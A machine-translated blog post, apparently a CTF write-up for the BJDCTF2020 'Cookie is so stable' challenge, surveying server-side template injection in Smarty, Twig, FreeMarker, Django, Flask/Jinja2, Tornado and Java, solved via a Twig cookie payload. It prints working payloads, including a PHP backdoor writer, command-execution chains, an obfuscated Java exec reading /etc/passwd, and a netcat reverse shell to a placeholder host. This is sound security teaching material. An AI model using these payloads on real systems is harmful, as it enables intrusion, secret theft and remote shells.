当前位置:网站首页>SSTI template injection vulnerability summary [bjdctf2020]cookie is so stable
SSTI template injection vulnerability summary [bjdctf2020]cookie is so stable
2022-07-25 12:33:00 【A traveler】
Knowledge point :
Summary of template injection vulnerabilities : Reference resources : Very comprehensive summary : An article takes you to understand the loophole SSTI Loophole | K0rz3n's Blog
1. Common template engine
PHP:smarty Twig Blade;
python : jinja2 django tornado
java : JSP FreeMarker Velocity
After receiving the malicious input from the user on the server , Treat it as... Without any treatment Web Part of the application template content , The template engine is in the process of target compilation and rendering , Executed a statement inserted by the user that can destroy the template , This may lead to the disclosure of sensitive information 、 Code execution 、GetShell Other questions .
For details, please refer to ; Let's talk about using ;
Injection detection : Tools :GitHub - epinna/tplmap: Server-Side Template Injection and Code Injection Detection and Exploitation Tool
Use :
Twig
{ {7*‘7’}} Output 49
Jinja
{ {7*‘7’}} Output 7777777
attack :
Direction of attack :
Finding template injection mainly attacks from three directions
(1) The template itself
(2) The framework itself
(3) The language itself
1. The template itself ;
(1)Smarty
payload
Open file :
{self::getStreamVariable("file:///proc/self/loginuid")}Write back door :
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}(2)Twig
payload: among id Is the command ;
{
{_self.env.registerUndefinedFilterCallback("exec")}}{
{_self.env.getFilter("id")}}(3)freeMarker
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }2. Use the characteristics of the framework itself to attack
1).Django
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
2).Flask/Jinja2
config yes Flask A global object in the template , It represents “ Current configuration object (flask.config)”, It is a dictionary like object , It contains the configuration values of all applications . in the majority of cases , It contains, for example, database link strings , Credentials connected to third parties ,SECRET_KEY Equal sensitivity value . although config Is a dictionary like object , But by looking up the documents, you can find config There are many magical ways :from_envvar, from_object, from_pyfile, as well as root_path.
{
{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }}
// Writing documents
{
{ config.from_pyfile('/tmp/evil') }}
// load system
{
{ config['SHELL']('nc xxxx xx -e /bin/sh') }}
// Execute command bounce SHELL3).Tornado
http://117.78.26.79:31093/error?msg={
{handler.settings}}3. Use the characteristics of modular language to attack
1)python
Python Sandbox escape memo | K0rz3n's Blog
2).JAVA
payload:
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}Of course, if the file operation needs to use another class , The idea is unchanged
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
Back to topic :
stay flag Interface input { {7*7}}
The echo 49;
Template injection exists ;
Topic tips cookie;
Grab the bag and have a look : It's fine too F12 Network view packet discovery ;

There is one set-cookie;
That is, where the template is injected :
First use sytem() try ;

no way , Let's see what kind of injection this is :
Use { {7*'7'}} Echo again 49, Seems to be Twig;
Go straight up payload:
{ {_self.env.registerUndefinedFilterCallback("exec")}}{ {_self.env.getFilter("cat /flag")}}
( To construct in the second packet cookie Of user; Here is the first one , In the parameter username Direct construction is not impossible )

It can be used F12 Look at the packets :


边栏推荐
- R language uses LM function to build multiple linear regression model, step function to build forward stepwise regression model to screen the best subset of prediction variables, and scope parameter t
- Introduction to the scratch crawler framework
- 想要做好软件测试,可以先了解AST、SCA和渗透测试
- 想要白嫖正则大全是吧?这一次给你个够!
- mysql有 flush privileges 吗
- Fiddler packet capturing app
- Maskgae: masked graph modeling meets graph autoencoders
- 2022.07.24(LC_6126_设计食物评分系统)
- 【8】 Clever use of color finder
- If you want to do a good job in software testing, you can first understand ast, SCA and penetration testing
猜你喜欢

面试官:“同学,你做过真实落地项目吗?”

搭建Vision Transformer系列实践,终于见面了,Timm库!

3.2.1 什么是机器学习?

Azure Devops(十四) 使用Azure的私有Nuget仓库

If you want to do a good job in software testing, you can first understand ast, SCA and penetration testing

MySQL练习二

技术管理杂谈

基于Caffe ResNet-50网络实现图片分类(仅推理)的实验复现

Microsoft azure and Analysys jointly released the report "Enterprise Cloud native platform driven digital transformation"

阿里云技术专家秦隆:可靠性保障必备——云上如何进行混沌工程?
随机推荐
Location analysis of recording an online deadlock
numpy初识
3.2.1 什么是机器学习?
软件测试流程包括哪些内容?测试方法有哪些?
想要做好软件测试,可以先了解AST、SCA和渗透测试
R language ggpubr package ggarrange function combines multiple images and annotates_ Figure function adds annotation, annotation and annotation information for the combined image, adds image labels fo
微软Azure和易观分析联合发布《企业级云原生平台驱动数字化转型》报告
A method to prevent SYN flooding attacks -- syn cookies
Resttemplate and ribbon are easy to use
SSTI 模板注入漏洞总结之[BJDCTF2020]Cookie is so stable
[dark horse morning post] eBay announced its shutdown after 23 years of operation; Wei Lai throws an olive branch to Volkswagen CEO; Huawei's talented youth once gave up their annual salary of 3.6 mil
From cloud native to intelligent, in-depth interpretation of the industry's first "best practice map of live video technology"
软件测试面试题目:请你列举几个物品的测试方法怎么说?
Atomic 原子类
PyTorch进阶训练技巧
How to access DMS database remotely? What is the IP address? What is the user name?
R language ggplot2 visualization: use the ggviolin function of ggpubr package to visualize the violin graph, set the add parameter to add jitter data points and mean standard deviation vertical bars (
Client open download, welcome to try
【三】DEM山体阴影效果
Numpy first acquaintance